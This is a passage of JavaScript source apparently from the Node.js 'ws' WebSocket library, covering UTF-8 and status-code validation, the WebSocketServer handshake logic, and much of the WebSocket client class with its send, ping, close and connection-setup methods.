tokenChars[34] === 0 // '"' // ... // // prettier-ignore const tokenChars = [ 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, // 0 - 15 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, // 16 - 31 0, 1, 0, 1, 1, 1, 1, 1, 0, 0, 1, 1, 0, 1, 1, 0, // 32 - 47 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, // 48 - 63 0, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, // 64 - 79 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 1, 1, // 80 - 95 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, // 96 - 111 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 1, 0, 1, 0 // 112 - 127 ]; /** * Checks if a status code is allowed in a close frame. * * @param {Number} code The status code * @return {Boolean} `true` if the status code is valid, else `false` * @public */ function isValidStatusCode(code) { return ( (code >= 1000 && code <= 1014 && code !== 1004 && code !== 1005 && code !== 1006) || (code >= 3000 && code <= 4999) ); } /** * Checks if a given buffer contains only correct UTF-8. * Ported from https://www.cl.cam.ac.uk/%7Emgk25/ucs/utf8_check.c by * Markus Kuhn. * * @param {Buffer} buf The buffer to check * @return {Boolean} `true` if `buf` contains only correct UTF-8, else `false` * @public */ function _isValidUTF8(buf) { const len = buf.length; let i = 0; while (i < len) { if ((buf[i] & 0x80) === 0) { // 0xxxxxxx i++; } else if ((buf[i] & 0xe0) === 0xc0) { // 110xxxxx 10xxxxxx if ( i + 1 === len || (buf[i + 1] & 0xc0) !== 0x80 || (buf[i] & 0xfe) === 0xc0 // Overlong ) { return false; } i += 2; } else if ((buf[i] & 0xf0) === 0xe0) { // 1110xxxx 10xxxxxx 10xxxxxx if ( i + 2 >= len || (buf[i + 1] & 0xc0) !== 0x80 || (buf[i + 2] & 0xc0) !== 0x80 || (buf[i] === 0xe0 && (buf[i + 1] & 0xe0) === 0x80) || // Overlong (buf[i] === 0xed && (buf[i + 1] & 0xe0) === 0xa0) // Surrogate (U+D800 - U+DFFF) ) { return false; } i += 3; } else if ((buf[i] & 0xf8) === 0xf0) { // 11110xxx 10xxxxxx 10xxxxxx 10xxxxxx if ( i + 3 >= len || (buf[i + 1] & 0xc0) !== 0x80 || (buf[i + 2] & 0xc0) !== 0x80 || (buf[i + 3] & 0xc0) !== 0x80 || (buf[i] === 0xf0 && (buf[i + 1] & 0xf0) === 0x80) || // Overlong (buf[i] === 0xf4 && buf[i + 1] > 0x8f) || buf[i] > 0xf4 // > U+10FFFF ) { return false; } i += 4; } else { return false; } } return true; } /** * Determines whether a value is a `Blob`. * * @param {*} value The value to be tested * @return {Boolean} `true` if `value` is a `Blob`, else `false` * @private */ function isBlob(value) { return ( hasBlob && typeof value === 'object' && typeof value.arrayBuffer === 'function' && typeof value.type === 'string' && typeof value.stream === 'function' && (value[Symbol.toStringTag] === 'Blob' || value[Symbol.toStringTag] === 'File') ); } module.exports = { isBlob, isValidStatusCode, isValidUTF8: _isValidUTF8, tokenChars }; if (isUtf8) { module.exports.isValidUTF8 = function (buf) { return buf.length < 24 ? _isValidUTF8(buf) : isUtf8(buf); }; } /* istanbul ignore else */ else if (!process.env.WS_NO_UTF_8_VALIDATE) { try { const isValidUTF8 = require('utf-8-validate'); module.exports.isValidUTF8 = function (buf) { return buf.length < 32 ? _isValidUTF8(buf) : isValidUTF8(buf); }; } catch (e) { // Continue regardless of the error. } } /* eslint no-unused-vars: ["error", { "varsIgnorePattern": "^Duplex$", "caughtErrors": "none" }] */ 'use strict'; const EventEmitter = require('events'); const http = require('http'); const { Duplex } = require('stream'); const { createHash } = require('crypto'); const extension = require('./extension'); const PerMessageDeflate = require('./permessage-deflate'); const subprotocol = require('./subprotocol'); const WebSocket = require('./websocket'); const { CLOSE_TIMEOUT, GUID, kWebSocket } = require('./constants'); const keyRegex = /^[+/0-9A-Za-z]{22}==$/; const RUNNING = 0; const CLOSING = 1; const CLOSED = 2; /** * Class representing a WebSocket server. * * @extends EventEmitter */ class WebSocketServer extends EventEmitter { /** * Create a `WebSocketServer` instance. * * @param {Object} options Configuration options * @param {Boolean} [options.allowSynchronousEvents=true] Specifies whether * any of the `'message'`, `'ping'`, and `'pong'` events can be emitted * multiple times in the same tick * @param {Boolean} [options.autoPong=true] Specifies whether or not to * automatically send a pong in response to a ping * @param {Number} [options.backlog=511] The maximum length of the queue of * pending connections * @param {Boolean} [options.clientTracking=true] Specifies whether or not to * track clients * @param {Number} [options.closeTimeout=30000] Duration in milliseconds to * wait for the closing handshake to finish after `websocket.close()` is * called * @param {Function} [options.handleProtocols] A hook to handle protocols * @param {String} [options.host] The hostname where to bind the server * @param {Number} [options.maxBufferedChunks=262144] The maximum number of * buffered data chunks * @param {Number} [options.maxFragments=16384] The maximum number of message * fragments * @param {Number} [options.maxPayload=104857600] The maximum allowed message * size * @param {Number} [options.maxPendingAutoPongs=60] The maximum number of * pending automatic pongs * @param {Boolean} [options.noServer=false] Enable no server mode * @param {String} [options.path] Accept only connections matching this path * @param {(Boolean|Object)} [options.perMessageDeflate=false] Enable/disable * permessage-deflate * @param {Number} [options.port] The port where to bind the server * @param {(http.Server|https.Server)} [options.server] A pre-created HTTP/S * server to use * @param {Boolean} [options.skipUTF8Validation=false] Specifies whether or * not to skip UTF-8 validation for text and close messages * @param {Function} [options.verifyClient] A hook to reject connections * @param {Function} [options.WebSocket=WebSocket] Specifies the `WebSocket` * class to use. It must be the `WebSocket` class or class that extends it * @param {Function} [callback] A listener for the `listening` event */ constructor(options, callback) { super(); options = { allowSynchronousEvents: true, autoPong: true, maxBufferedChunks: 256 * 1024, maxFragments: 16 * 1024, maxPayload: 100 * 1024 * 1024, maxPendingAutoPongs: 60, skipUTF8Validation: false, perMessageDeflate: false, handleProtocols: null, clientTracking: true, closeTimeout: CLOSE_TIMEOUT, verifyClient: null, noServer: false, backlog: null, // use default (511 as implemented in net.js) server: null, host: null, path: null, port: null, WebSocket, ...options }; if ( (options.port == null && !options.server && !options.noServer) || (options.port != null && (options.server || options.noServer)) || (options.server && options.noServer) ) { throw new TypeError( 'One and only one of the "port", "server", or "noServer" options ' + 'must be specified' ); } if (options.port != null) { this._server = http.createServer((req, res) => { const body = http.STATUS_CODES[426]; res.writeHead(426, { 'Content-Length': body.length, 'Content-Type': 'text/plain' }); res.end(body); }); this._server.listen( options.port, options.host, options.backlog, callback ); } else if (options.server) { this._server = options.server; } if (this._server) { const emitConnection = this.emit.bind(this, 'connection'); this._removeListeners = addListeners(this._server, { listening: this.emit.bind(this, 'listening'), error: this.emit.bind(this, 'error'), upgrade: (req, socket, head) => { this.handleUpgrade(req, socket, head, emitConnection); } }); } if (options.perMessageDeflate === true) options.perMessageDeflate = {}; if (options.clientTracking) { this.clients = new Set(); this._shouldEmitClose = false; } this.options = options; this._state = RUNNING; } /** * Returns the bound address, the address family name, and port of the server * as reported by the operating system if listening on an IP socket. * If the server is listening on a pipe or UNIX domain socket, the name is * returned as a string. * * @return {(Object|String|null)} The address of the server * @public */ address() { if (this.options.noServer) { throw new Error('The server is operating in "noServer" mode'); } if (!this._server) return null; return this._server.address(); } /** * Stop the server from accepting new connections and emit the `'close'` event * when all existing connections are closed. * * @param {Function} [cb] A one-time listener for the `'close'` event * @public */ close(cb) { if (this._state === CLOSED) { if (cb) { this.once('close', () => { cb(new Error('The server is not running')); }); } process.nextTick(emitClose, this); return; } if (cb) this.once('close', cb); if (this._state === CLOSING) return; this._state = CLOSING; if (this.options.noServer || this.options.server) { if (this._server) { this._removeListeners(); this._removeListeners = this._server = null; } if (this.clients) { if (!this.clients.size) { process.nextTick(emitClose, this); } else { this._shouldEmitClose = true; } } else { process.nextTick(emitClose, this); } } else { const server = this._server; this._removeListeners(); this._removeListeners = this._server = null; // // The HTTP/S server was created internally. Close it, and rely on its // `'close'` event. // server.close(() => { emitClose(this); }); } } /** * See if a given request should be handled by this server instance. * * @param {http.IncomingMessage} req Request object to inspect * @return {Boolean} `true` if the request is valid, else `false` * @public */ shouldHandle(req) { if (this.options.path) { const index = req.url.indexOf('?'); const pathname = index !== -1 ? req.url.slice(0, index) : req.url; if (pathname !== this.options.path) return false; } return true; } /** * Handle a HTTP Upgrade request. * * @param {http.IncomingMessage} req The request object * @param {Duplex} socket The network socket between the server and client * @param {Buffer} head The first packet of the upgraded stream * @param {Function} cb Callback * @public */ handleUpgrade(req, socket, head, cb) { socket.on('error', socketOnError); const key = req.headers['sec-websocket-key']; const upgrade = req.headers.upgrade; const version = +req.headers['sec-websocket-version']; if (req.method !== 'GET') { const message = 'Invalid HTTP method'; abortHandshakeOrEmitwsClientError(this, req, socket, 405, message); return; } if (upgrade === undefined || upgrade.toLowerCase() !== 'websocket') { const message = 'Invalid Upgrade header'; abortHandshakeOrEmitwsClientError(this, req, socket, 400, message); return; } if (key === undefined || !keyRegex.test(key)) { const message = 'Missing or invalid Sec-WebSocket-Key header'; abortHandshakeOrEmitwsClientError(this, req, socket, 400, message); return; } if (version !== 13 && version !== 8) { const message = 'Missing or invalid Sec-WebSocket-Version header'; abortHandshakeOrEmitwsClientError(this, req, socket, 400, message, { 'Sec-WebSocket-Version': '13, 8' }); return; } if (!this.shouldHandle(req)) { abortHandshake(socket, 400); return; } const secWebSocketProtocol = req.headers['sec-websocket-protocol']; let protocols = new Set(); if (secWebSocketProtocol !== undefined) { try { protocols = subprotocol.parse(secWebSocketProtocol); } catch (err) { const message = 'Invalid Sec-WebSocket-Protocol header'; abortHandshakeOrEmitwsClientError(this, req, socket, 400, message); return; } } const secWebSocketExtensions = req.headers['sec-websocket-extensions']; const extensions = {}; if ( this.options.perMessageDeflate && secWebSocketExtensions !== undefined ) { const perMessageDeflate = new PerMessageDeflate({ ...this.options.perMessageDeflate, isServer: true, maxPayload: this.options.maxPayload }); try { const offers = extension.parse(secWebSocketExtensions); if (offers[PerMessageDeflate.extensionName]) { perMessageDeflate.accept(offers[PerMessageDeflate.extensionName]); extensions[PerMessageDeflate.extensionName] = perMessageDeflate; } } catch (err) { const message = 'Invalid or unacceptable Sec-WebSocket-Extensions header'; abortHandshakeOrEmitwsClientError(this, req, socket, 400, message); return; } } // // Optionally call external client verification handler. // if (this.options.verifyClient) { const info = { origin: req.headers[`${version === 8 ? 'sec-websocket-origin' : 'origin'}`], secure: !!(req.socket.authorized || req.socket.encrypted), req }; if (this.options.verifyClient.length === 2) { this.options.verifyClient(info, (verified, code, message, headers) => { if (!verified) { return abortHandshake(socket, code || 401, message, headers); } this.completeUpgrade( extensions, key, protocols, req, socket, head, cb ); }); return; } if (!this.options.verifyClient(info)) return abortHandshake(socket, 401); } this.completeUpgrade(extensions, key, protocols, req, socket, head, cb); } /** * Upgrade the connection to WebSocket. * * @param {Object} extensions The accepted extensions * @param {String} key The value of the `Sec-WebSocket-Key` header * @param {Set} protocols The subprotocols * @param {http.IncomingMessage} req The request object * @param {Duplex} socket The network socket between the server and client * @param {Buffer} head The first packet of the upgraded stream * @param {Function} cb Callback * @throws {Error} If called more than once with the same socket * @private */ completeUpgrade(extensions, key, protocols, req, socket, head, cb) { // // Destroy the socket if the client has already sent a FIN packet. // if (!socket.readable || !socket.writable) return socket.destroy(); if (socket[kWebSocket]) { throw new Error( 'server.handleUpgrade() was called more than once with the same ' + 'socket, possibly due to a misconfiguration' ); } if (this._state > RUNNING) return abortHandshake(socket, 503); const digest = createHash('sha1') .update(key + GUID) .digest('base64'); const headers = [ 'HTTP/1.1 101 Switching Protocols', 'Upgrade: websocket', 'Connection: Upgrade', `Sec-WebSocket-Accept: ${digest}` ]; const ws = new this.options.WebSocket(null, undefined, this.options); if (protocols.size) { // // Optionally call external protocol selection handler. // const protocol = this.options.handleProtocols ? this.options.handleProtocols(protocols, req) : protocols.values().next().value; if (protocol) { headers.push(`Sec-WebSocket-Protocol: ${protocol}`); ws._protocol = protocol; } } if (extensions[PerMessageDeflate.extensionName]) { const params = extensions[PerMessageDeflate.extensionName].params; const value = extension.format({ [PerMessageDeflate.extensionName]: [params] }); headers.push(`Sec-WebSocket-Extensions: ${value}`); ws._extensions = extensions; } // // Allow external modification/inspection of handshake headers. // this.emit('headers', headers, req); socket.write(headers.concat('\r\n').join('\r\n')); socket.removeListener('error', socketOnError); ws.setSocket(socket, head, { allowSynchronousEvents: this.options.allowSynchronousEvents, maxBufferedChunks: this.options.maxBufferedChunks, maxFragments: this.options.maxFragments, maxPayload: this.options.maxPayload, skipUTF8Validation: this.options.skipUTF8Validation }); if (this.clients) { this.clients.add(ws); ws.on('close', () => { this.clients.delete(ws); if (this._shouldEmitClose && !this.clients.size) { process.nextTick(emitClose, this); } }); } cb(ws, req); } } module.exports = WebSocketServer; /** * Add event listeners on an `EventEmitter` using a map of * pairs. * * @param {EventEmitter} server The event emitter * @param {Object.} map The listeners to add * @return {Function} A function that will remove the added listeners when * called * @private */ function addListeners(server, map) { for (const event of Object.keys(map)) server.on(event, map[event]); return function removeListeners() { for (const event of Object.keys(map)) { server.removeListener(event, map[event]); } }; } /** * Emit a `'close'` event on an `EventEmitter`. * * @param {EventEmitter} server The event emitter * @private */ function emitClose(server) { server._state = CLOSED; server.emit('close'); } /** * Handle socket errors. * * @private */ function socketOnError() { this.destroy(); } /** * Close the connection when preconditions are not fulfilled. * * @param {Duplex} socket The socket of the upgrade request * @param {Number} code The HTTP response status code * @param {String} [message] The HTTP response body * @param {Object} [headers] Additional HTTP response headers * @private */ function abortHandshake(socket, code, message, headers) { // // The socket is writable unless the user destroyed or ended it before calling // `server.handleUpgrade()` or in the `verifyClient` function, which is a user // error. Handling this does not make much sense as the worst that can happen // is that some of the data written by the user might be discarded due to the // call to `socket.end()` below, which triggers an `'error'` event that in // turn causes the socket to be destroyed. // message = message || http.STATUS_CODES[code]; headers = { Connection: 'close', 'Content-Type': 'text/html', 'Content-Length': Buffer.byteLength(message), ...headers }; socket.once('finish', socket.destroy); socket.end( `HTTP/1.1 ${code} ${http.STATUS_CODES[code]}\r\n` + Object.keys(headers) .map((h) => `${h}: ${headers[h]}`) .join('\r\n') + '\r\n\r\n' + message ); } /** * Emit a `'wsClientError'` event on a `WebSocketServer` if there is at least * one listener for it, otherwise call `abortHandshake()`. * * @param {WebSocketServer} server The WebSocket server * @param {http.IncomingMessage} req The request object * @param {Duplex} socket The socket of the upgrade request * @param {Number} code The HTTP response status code * @param {String} message The HTTP response body * @param {Object} [headers] The HTTP response headers * @private */ function abortHandshakeOrEmitwsClientError( server, req, socket, code, message, headers ) { if (server.listenerCount('wsClientError')) { const err = new Error(message); Error.captureStackTrace(err, abortHandshakeOrEmitwsClientError); server.emit('wsClientError', err, socket, req); } else { abortHandshake(socket, code, message, headers); } } /* eslint no-unused-vars: ["error", { "varsIgnorePattern": "^Duplex|Readable$", "caughtErrors": "none" }] */ 'use strict'; const EventEmitter = require('events'); const https = require('https'); const http = require('http'); const net = require('net'); const querystring = require('querystring'); const tls = require('tls'); const { randomBytes, createHash } = require('crypto'); const { Duplex, Readable } = require('stream'); const { URL } = require('url'); const PerMessageDeflate = require('./permessage-deflate'); const Receiver = require('./receiver'); const Sender = require('./sender'); const { isBlob } = require('./validation'); const { BINARY_TYPES, CLOSE_TIMEOUT, EMPTY_BUFFER, GUID, kForOnEventAttribute, kListener, kStatusCode, kWebSocket, NOOP } = require('./constants'); const { EventTarget: { addEventListener, removeEventListener } } = require('./event-target'); const { format, parse } = require('./extension'); const { toBuffer } = require('./buffer-util'); const kAborted = Symbol('kAborted'); const protocolVersions = [8, 13]; const readyStates = ['CONNECTING', 'OPEN', 'CLOSING', 'CLOSED']; const subprotocolRegex = /^[!#$%&'*+\-.0-9A-Z^_`|a-z~]+$/; /** * Class representing a WebSocket. * * @extends EventEmitter */ class WebSocket extends EventEmitter { /** * Create a new `WebSocket`. * * @param {(String|URL)} address The URL to which to connect * @param {(String|String[])} [protocols] The subprotocols * @param {Object} [options] Connection options */ constructor(address, protocols, options) { super(); this._binaryType = BINARY_TYPES[0]; this._closeCode = 1006; this._closeFrameReceived = false; this._closeFrameSent = false; this._closeMessage = EMPTY_BUFFER; this._closeTimer = null; this._errorEmitted = false; this._extensions = {}; this._paused = false; this._protocol = ''; this._readyState = WebSocket.CONNECTING; this._receiver = null; this._sender = null; this._socket = null; if (address !== null) { this._bufferedAmount = 0; this._isServer = false; this._redirects = 0; if (protocols === undefined) { if (!options || options.protocols === undefined) { protocols = []; } else if (Array.isArray(options.protocols)) { protocols = options.protocols; } else { protocols = [options.protocols]; } } else if (!Array.isArray(protocols)) { if (typeof protocols === 'object' && protocols !== null) { options = protocols; if (options.protocols === undefined) { protocols = []; } else if (Array.isArray(options.protocols)) { protocols = options.protocols; } else { protocols = [options.protocols]; } } else { protocols = [protocols]; } } options = initAsClient(this, address, protocols, options); } else { this._isServer = true; } if (options.autoPong) { this._autoPong = true; this._autoPongComplete = () => autoPongComplete(this); this._pendingAutoPongs = 0; this._maxPendingAutoPongs = options.maxPendingAutoPongs | 0; } this._closeTimeout = options.closeTimeout; } /** * For historical reasons, the custom "nodebuffer" type is used by the default * instead of "blob". * * @type {String} */ get binaryType() { return this._binaryType; } set binaryType(type) { if (!BINARY_TYPES.includes(type)) return; this._binaryType = type; // // Allow to change `binaryType` on the fly. // if (this._receiver) this._receiver._binaryType = type; } /** * @type {Number} */ get bufferedAmount() { if (!this._socket) return this._bufferedAmount; return this._socket._writableState.length + this._sender._bufferedBytes; } /** * @type {String} */ get extensions() { return Object.keys(this._extensions).join(); } /** * @type {Boolean} */ get isPaused() { return this._paused; } /** * @type {Function} */ /* istanbul ignore next */ get onclose() { return null; } /** * @type {Function} */ /* istanbul ignore next */ get onerror() { return null; } /** * @type {Function} */ /* istanbul ignore next */ get onopen() { return null; } /** * @type {Function} */ /* istanbul ignore next */ get onmessage() { return null; } /** * @type {String} */ get protocol() { return this._protocol; } /** * @type {Number} */ get readyState() { return this._readyState; } /** * @type {String} */ get url() { return this._url; } /** * Set up the socket and the internal resources. * * @param {Duplex} socket The network socket between the server and client * @param {Buffer} head The first packet of the upgraded stream * @param {Object} options Options object * @param {Boolean} [options.allowSynchronousEvents=false] Specifies whether * any of the `'message'`, `'ping'`, and `'pong'` events can be emitted * multiple times in the same tick * @param {Function} [options.generateMask] The function used to generate the * masking key * @param {Number} [options.maxBufferedChunks=0] The maximum number of * buffered data chunks * @param {Number} [options.maxFragments=0] The maximum number of message * fragments * @param {Number} [options.maxPayload=0] The maximum allowed message size * @param {Boolean} [options.skipUTF8Validation=false] Specifies whether or * not to skip UTF-8 validation for text and close messages * @private */ setSocket(socket, head, options) { const receiver = new Receiver({ allowSynchronousEvents: options.allowSynchronousEvents, binaryType: this.binaryType, extensions: this._extensions, isServer: this._isServer, maxBufferedChunks: options.maxBufferedChunks, maxFragments: options.maxFragments, maxPayload: options.maxPayload, skipUTF8Validation: options.skipUTF8Validation }); const sender = new Sender(socket, this._extensions, options.generateMask); this._receiver = receiver; this._sender = sender; this._socket = socket; receiver[kWebSocket] = this; sender[kWebSocket] = this; socket[kWebSocket] = this; receiver.on('conclude', receiverOnConclude); receiver.on('drain', receiverOnDrain); receiver.on('error', receiverOnError); receiver.on('message', receiverOnMessage); receiver.on('ping', receiverOnPing); receiver.on('pong', receiverOnPong); sender.onerror = senderOnError; // // These methods may not be available if `socket` is just a `Duplex`. // if (socket.setTimeout) socket.setTimeout(0); if (socket.setNoDelay) socket.setNoDelay(); if (head.length > 0) socket.unshift(head); socket.on('close', socketOnClose); socket.on('data', socketOnData); socket.on('end', socketOnEnd); socket.on('error', socketOnError); this._readyState = WebSocket.OPEN; this.emit('open'); } /** * Emit the `'close'` event. * * @private */ emitClose() { if (!this._socket) { this._readyState = WebSocket.CLOSED; this.emit('close', this._closeCode, this._closeMessage); return; } if (this._extensions[PerMessageDeflate.extensionName]) { this._extensions[PerMessageDeflate.extensionName].cleanup(); } this._receiver.removeAllListeners(); this._readyState = WebSocket.CLOSED; this.emit('close', this._closeCode, this._closeMessage); } /** * Start a closing handshake. * * +----------+ +-----------+ +----------+ * - - -|ws.close()|-->|close frame|-->|ws.close()|- - - * | +----------+ +-----------+ +----------+ | * +----------+ +-----------+ | * CLOSING |ws.close()|<--|close frame|<--+-----+ CLOSING * +----------+ +-----------+ | * | | | +---+ | * +------------------------+-->|fin| - - - - * | +---+ | +---+ * - - - - -|fin|<---------------------+ * +---+ * * @param {Number} [code] Status code explaining why the connection is closing * @param {(String|Buffer)} [data] The reason why the connection is * closing * @public */ close(code, data) { if (this.readyState === WebSocket.CLOSED) return; if (this.readyState === WebSocket.CONNECTING) { const msg = 'WebSocket was closed before the connection was established'; abortHandshake(this, this._req, msg); return; } if (this.readyState === WebSocket.CLOSING) { if ( this._closeFrameSent && (this._closeFrameReceived || this._receiver._writableState.errorEmitted) ) { this._socket.end(); } return; } this._sender.close(code, data, !this._isServer, (err) => { // // This error is handled by the `'error'` listener on the socket. We only // want to know if the close frame has been sent here. // if (err) return; this._closeFrameSent = true; if ( this._closeFrameReceived || this._receiver._writableState.errorEmitted ) { this._socket.end(); } }); this._readyState = WebSocket.CLOSING; setCloseTimer(this); } /** * Pause the socket. * * @public */ pause() { if ( this.readyState === WebSocket.CONNECTING || this.readyState === WebSocket.CLOSED ) { return; } this._paused = true; this._socket.pause(); } /** * Send a ping. * * @param {*} [data] The data to send * @param {Boolean} [mask] Indicates whether or not to mask `data` * @param {Function} [cb] Callback which is executed when the ping is sent * @public */ ping(data, mask, cb) { if (this.readyState === WebSocket.CONNECTING) { throw new Error('WebSocket is not open: readyState 0 (CONNECTING)'); } if (typeof data === 'function') { cb = data; data = mask = undefined; } else if (typeof mask === 'function') { cb = mask; mask = undefined; } if (typeof data === 'number') data = data.toString(); if (this.readyState !== WebSocket.OPEN) { sendAfterClose(this, data, cb); return; } if (mask === undefined) mask = !this._isServer; this._sender.ping(data || EMPTY_BUFFER, mask, cb); } /** * Send a pong. * * @param {*} [data] The data to send * @param {Boolean} [mask] Indicates whether or not to mask `data` * @param {Function} [cb] Callback which is executed when the pong is sent * @public */ pong(data, mask, cb) { if (this.readyState === WebSocket.CONNECTING) { throw new Error('WebSocket is not open: readyState 0 (CONNECTING)'); } if (typeof data === 'function') { cb = data; data = mask = undefined; } else if (typeof mask === 'function') { cb = mask; mask = undefined; } if (typeof data === 'number') data = data.toString(); if (this.readyState !== WebSocket.OPEN) { sendAfterClose(this, data, cb); return; } if (mask === undefined) mask = !this._isServer; this._sender.pong(data || EMPTY_BUFFER, mask, cb); } /** * Resume the socket. * * @public */ resume() { if ( this.readyState === WebSocket.CONNECTING || this.readyState === WebSocket.CLOSED ) { return; } this._paused = false; if (!this._receiver._writableState.needDrain) this._socket.resume(); } /** * Send a data message. * * @param {*} data The message to send * @param {Object} [options] Options object * @param {Boolean} [options.binary] Specifies whether `data` is binary or * text * @param {Boolean} [options.compress] Specifies whether or not to compress * `data` * @param {Boolean} [options.fin=true] Specifies whether the fragment is the * last one * @param {Boolean} [options.mask] Specifies whether or not to mask `data` * @param {Function} [cb] Callback which is executed when data is written out * @public */ send(data, options, cb) { if (this.readyState === WebSocket.CONNECTING) { throw new Error('WebSocket is not open: readyState 0 (CONNECTING)'); } if (typeof options === 'function') { cb = options; options = {}; } if (typeof data === 'number') data = data.toString(); if (this.readyState !== WebSocket.OPEN) { sendAfterClose(this, data, cb); return; } const opts = { binary: typeof data !== 'string', mask: !this._isServer, compress: true, fin: true, ...options }; if (!this._extensions[PerMessageDeflate.extensionName]) { opts.compress = false; } this._sender.send(data || EMPTY_BUFFER, opts, cb); } /** * Forcibly close the connection. * * @public */ terminate() { if (this.readyState === WebSocket.CLOSED) return; if (this.readyState === WebSocket.CONNECTING) { const msg = 'WebSocket was closed before the connection was established'; abortHandshake(this, this._req, msg); return; } if (this._socket) { this._readyState = WebSocket.CLOSING; this._socket.destroy(); } } } /** * @constant {Number} CONNECTING * @memberof WebSocket */ Object.defineProperty(WebSocket, 'CONNECTING', { enumerable: true, value: readyStates.indexOf('CONNECTING') }); /** * @constant {Number} CONNECTING * @memberof WebSocket.prototype */ Object.defineProperty(WebSocket.prototype, 'CONNECTING', { enumerable: true, value: readyStates.indexOf('CONNECTING') }); /** * @constant {Number} OPEN * @memberof WebSocket */ Object.defineProperty(WebSocket, 'OPEN', { enumerable: true, value: readyStates.indexOf('OPEN') }); /** * @constant {Number} OPEN * @memberof WebSocket.prototype */ Object.defineProperty(WebSocket.prototype, 'OPEN', { enumerable: true, value: readyStates.indexOf('OPEN') }); /** * @constant {Number} CLOSING * @memberof WebSocket */ Object.defineProperty(WebSocket, 'CLOSING', { enumerable: true, value: readyStates.indexOf('CLOSING') }); /** * @constant {Number} CLOSING * @memberof WebSocket.prototype */ Object.defineProperty(WebSocket.prototype, 'CLOSING', { enumerable: true, value: readyStates.indexOf('CLOSING') }); /** * @constant {Number} CLOSED * @memberof WebSocket */ Object.defineProperty(WebSocket, 'CLOSED', { enumerable: true, value: readyStates.indexOf('CLOSED') }); /** * @constant {Number} CLOSED * @memberof WebSocket.prototype */ Object.defineProperty(WebSocket.prototype, 'CLOSED', { enumerable: true, value: readyStates.indexOf('CLOSED') }); [ 'binaryType', 'bufferedAmount', 'extensions', 'isPaused', 'protocol', 'readyState', 'url' ].forEach((property) => { Object.defineProperty(WebSocket.prototype, property, { enumerable: true }); }); // // Add the `onopen`, `onerror`, `onclose`, and `onmessage` attributes. // See https://html.spec.whatwg.org/multipage/comms.html#the-websocket-interface // ['open', 'error', 'close', 'message'].forEach((method) => { Object.defineProperty(WebSocket.prototype, `on${method}`, { enumerable: true, get() { for (const listener of this.listeners(method)) { if (listener[kForOnEventAttribute]) return listener[kListener]; } return null; }, set(handler) { for (const listener of this.listeners(method)) { if (listener[kForOnEventAttribute]) { this.removeListener(method, listener); break; } } if (typeof handler !== 'function') return; this.addEventListener(method, handler, { [kForOnEventAttribute]: true }); } }); }); WebSocket.prototype.addEventListener = addEventListener; WebSocket.prototype.removeEventListener = removeEventListener; module.exports = WebSocket; /** * Initialize a WebSocket client. * * @param {WebSocket} websocket The client to initialize * @param {(String|URL)} address The URL to which to connect * @param {Array} protocols The subprotocols * @param {Object} [options] Connection options * @param {Boolean} [options.allowSynchronousEvents=true] Specifies whether any * of the `'message'`, `'ping'`, and `'pong'` events can be emitted multiple * times in the same tick * @param {Boolean} [options.autoPong=true] Specifies whether or not to * automatically send a pong in response to a ping * @param {Number} [options.closeTimeout=30000] Duration in milliseconds to wait * for the closing handshake to finish after `websocket.close()` is called * @param {Function} [options.finishRequest] A function which can be used to * customize the headers of each http request before it is sent * @param {Boolean} [options.followRedirects=false] Whether or not to follow * redirects * @param {Function} [options.generateMask] The function used to generate the * masking key * @param {Number} [options.handshakeTimeout] Timeout in milliseconds for the * handshake request * @param {Number} [options.maxBufferedChunks=262144] The maximum number of * buffered data chunks * @param {Number} [options.maxFragments=16384] The maximum number of message * fragments * @param {Number} [options.maxPayload=104857600] The maximum allowed message * size * @param {Number} [options.maxPendingAutoPongs=60] The maximum number of * pending automatic pongs * @param {Number} [options.maxRedirects=10] The maximum number of redirects * allowed * @param {String} [options.origin] Value of the `Origin` or * `Sec-WebSocket-Origin` header * @param {(Boolean|Object)} [options.perMessageDeflate=true] Enable/disable * permessage-deflate * @param {Number} [options.protocolVersion=13] Value of the * `Sec-WebSocket-Version` header * @param {Boolean} [options.skipUTF8Validation=false] Specifies whether or * not to skip UTF-8 validation for text and close messages * @return {Object} The resolved options object used for initialization * @private */ function initAsClient(websocket, address, protocols, options) { const opts = { allowSynchronousEvents: true, autoPong: true, closeTimeout: CLOSE_TIMEOUT, protocolVersion: protocolVersions[1], maxBufferedChunks: 256 * 1024, maxFragments: 16 * 1024, maxPayload: 100 * 1024 * 1024, maxPendingAutoPongs: 60, skipUTF8Validation: false, perMessageDeflate: true, followRedirects: false, maxRedirects: 10, ...options, socketPath: undefined, hostname: undefined, protocol: undefined, protocols: undefined, timeout: undefined, method: 'GET', host: undefined, path: undefined, port: undefined }; if (!protocolVersions.includes(opts.protocolVersion)) { throw new RangeError( `Unsupported protocol version: ${opts.protocolVersion} ` + `(supported versions: ${protocolVersions.join(', ')})` ); } let parsedUrl; if (address instanceof URL) { parsedUrl = address; } else { try { parsedUrl = new URL(address); } catch { throw new SyntaxError(`Invalid URL: ${address}`); } } if (parsedUrl.protocol === 'http:' || parsedUrl.protocol === 'https:') { parsedUrl = new URL(parsedUrl); parsedUrl.protocol = parsedUrl.protocol === 'http:' ? 'ws:' : 'wss:'; } websocket._url = parsedUrl.href; const isSecure = parsedUrl.protocol === 'wss:'; const isIpcUrl = parsedUrl.protocol === 'ws+unix:'; let invalidUrlMessage; if (parsedUrl.protocol !== 'ws:' && !isSecure && !isIpcUrl) { invalidUrlMessage = 'The URL\'s protocol must be one of "ws:", "wss:", ' + '"http:", "https:", or "ws+unix:"'; } else if (isIpcUrl && !parsedUrl.pathname) { invalidUrlMessage = "The URL's pathname is empty"; } else if (parsedUrl.hash) { invalidUrlMessage = 'The URL contains a fragment identifier'; } if (invalidUrlMessage) { const err = new SyntaxError(invalidUrlMessage); if (websocket._redirects === 0) { throw err; } else { emitErrorAndClose(websocket, err); return; } } const defaultPort = isSecure ? 443 : 80; const key = randomBytes(16).toString('base64'); const request = isSecure ? https.request : http.request; const protocolSet = new Set(); let perMessageDeflate; opts.createConnection = opts.createConnection || (isSecure ? tlsConnect : netConnect); opts.defaultPort = opts.defaultPort || defaultPort; opts.port = parsedUrl.port || defaultPort; opts.host = 